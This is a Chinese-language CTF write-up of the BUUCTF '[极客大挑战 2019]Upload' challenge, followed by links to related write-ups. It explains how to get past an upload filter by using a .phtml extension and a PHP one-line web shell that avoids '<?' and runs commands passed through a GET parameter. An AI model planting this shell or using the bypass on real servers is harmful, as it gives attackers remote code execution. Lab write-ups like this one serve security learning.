[极客大挑战 2019]Upload

直接上传了木马文件，无法上传，先判断一下限制是来自客户端(js)还是服务端(对文件后缀、MIME等的检查)

禁用js之后，再上传一下，还是被拦截了，说明是在服务端进行过滤的。

测试服务端的限制，发现含有 php、php2 的都会被拦截掉，说明这是一个黑名单拦截

又修改了 MIME 进行绕过，依然不行，但是根据提示看就知道，被拦截的原因是文件内容被检查了,存在**<?** 就无法上传成功。

使用 js 执行 php 代码，网上找了一个不用 <? 的php一句话代码，修改一下提交。

<script language='php'>eval($_GET['cmd']);</script>

上传的后缀是 phtml 是为了页面可以正常解析php代码。

PHTML网页是一种包含PHP脚本的网页，PHP脚本镶嵌在网页的HTML代码之中。在页面被发送给请求的用户之前，网页服务器调用PHP解释程序来解释和执行PHP脚本。含有PHP脚本的网页通常都以“.php”、“.php3”或“.phtml”作为后缀。和ASP一样，PHP可以被认为是一种“动态网页”。

使用目录扫描，扫描下文件上传到了哪个目录下面，一般是 upload、file、upload-file、之类的，一般都可以扫出来。

正常访问到了上传的木马文件，接着连接上找找flag就 ok 了

这上传了不少文件啊。

[极客大挑战 2019]Upload相关推荐

BUUCTF-Web:[极客大挑战 2019]Upload
题目解题过程 1.上传文件从网页上来看是上传一个图片文件,但我们不知道他是如何检查上传的文件,所以可以试一试上传各种文件.一般检查文件的地方有:后缀名.content-type.文件头的部分内容. ...
[极客大挑战 2019]Upload（菜刀连接文件上传出现： HTTP/1.1 200 OK）
菜刀连接文件上传出现: HTTP/1.1 200 OK Server: openresty Date: Mon, 06 Apr 2020 08:42:03 GMT Content-Type: text ...
BUUOJ 极客大挑战 2019套餐
仅为做题思路,记下笔记,如有错误烦请斧正 [极客大挑战 2019]EasySQL 进题目发现是个登陆页面 admin admin登陆一下注意URL,试试万能密码?username=admin& ...
[BUUCTF-pwn]——[极客大挑战 2019]Not Bad(ORW)(内涵peak小知识)
[BUUCTF-pwn]--[极客大挑战 2019]Not Bad 又是一道收获满满的题目. peak小知识 seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的sy ...
BUUCTF Web [极客大挑战 2019]Havefun
「作者主页」:士别三日wyx 此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...
BUUCTF-web [极客大挑战 2019]PHP1 之反序列化漏洞
PHP反序列化漏洞一,什么是序列与反序列序列就是把数据转成可逆的数据结构,目的是方便数据的储存和传输,反序列就是将数据逆转成原来的状态,序列就是拆数据,使得传输或储存更容易的过程,反序列就是重新拼 ...
BUUCTF Web 极客大挑战 2019 EasySQL
BUUCTF Web 极客大挑战 2019 EasySQL 文章目录 BUUCTF Web 极客大挑战 2019 EasySQL 1,输入万能密码: 2,输入万能账号首先有点常识: 正常SQL语句这 ...
[极客大挑战 2019]FinalSQL
[极客大挑战 2019]FinalSQL 依次点击5个页面到最后一个页面发现提示尝试第6个页面,观察到url中的id,输入6得到有参数,尝试单引号提示error 那么应该存在sql注入,尝试永真 ...
BUUCTF Web [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http
目录 [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http [GXYCTF2019]Pin ...

[极客大挑战 2019]Upload

[极客大挑战 2019]Upload

[极客大挑战 2019]Upload相关推荐

最新文章

热门文章